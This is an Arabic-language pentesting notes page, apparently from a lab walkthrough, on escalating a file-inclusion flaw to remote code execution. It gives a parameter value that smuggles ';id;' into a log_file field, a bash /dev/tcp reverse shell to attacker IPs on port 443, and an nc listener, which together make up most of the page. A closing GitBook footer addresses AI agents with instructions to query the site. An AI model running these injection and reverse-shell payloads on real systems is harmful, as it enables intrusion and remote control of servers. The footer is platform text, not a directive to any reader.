> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce/log-poisoning-rce-pentesting-web.md).

# RCE عبر تسميم السجلات

## (LFI - RCE) تسميم السجلات:

إذا حاولنا عرض ملف مثل `/etc/passwd`، على سبيل المثال:

```bash
log_file=/etc/passwd  &analyze_log=/etc/passwd

```

تم عرض الملف :)

<figure><img src="/files/ee75775dbe928cdc44f9d95782de2b1754da7fba" alt=""><figcaption></figcaption></figure>

ثم نحاول قراءة الملف الذي يحتوي على الراية `root` ونلاحظ أنه من الممكن تنفيذ أوامر (مثل `المعرّف`):

```bash
log_file=/root/root.txt;id;----&analyze_log=/root/root.txt

```

<figure><img src="/files/02ffc846311e9c1fc108ee55df0c6e51a6c8de67" alt=""><figcaption></figcaption></figure>

### **وصول كامل (reverse shell):**

للحصول على reverse shell، ننفذ الأمر التالي:

{% code fullWidth="false" %}

```bash
bash -c "bash -i >%26 /dev/tcp/192.168.71.128/443 0>%261"

```

{% endcode %}

{% code overflow="wrap" fullWidth="true" %}

```
log_file=/root/root.txt;bash -c "bash -i >& /dev/tcp/10.10.14.89/443 0>&1";---&analyze_log=/root/root.txt

```

{% endcode %}

ثم، نقوم بإعداد مستمع باستخدام `nc`:

```bash
nc -nvlp 443

```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce/log-poisoning-rce-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
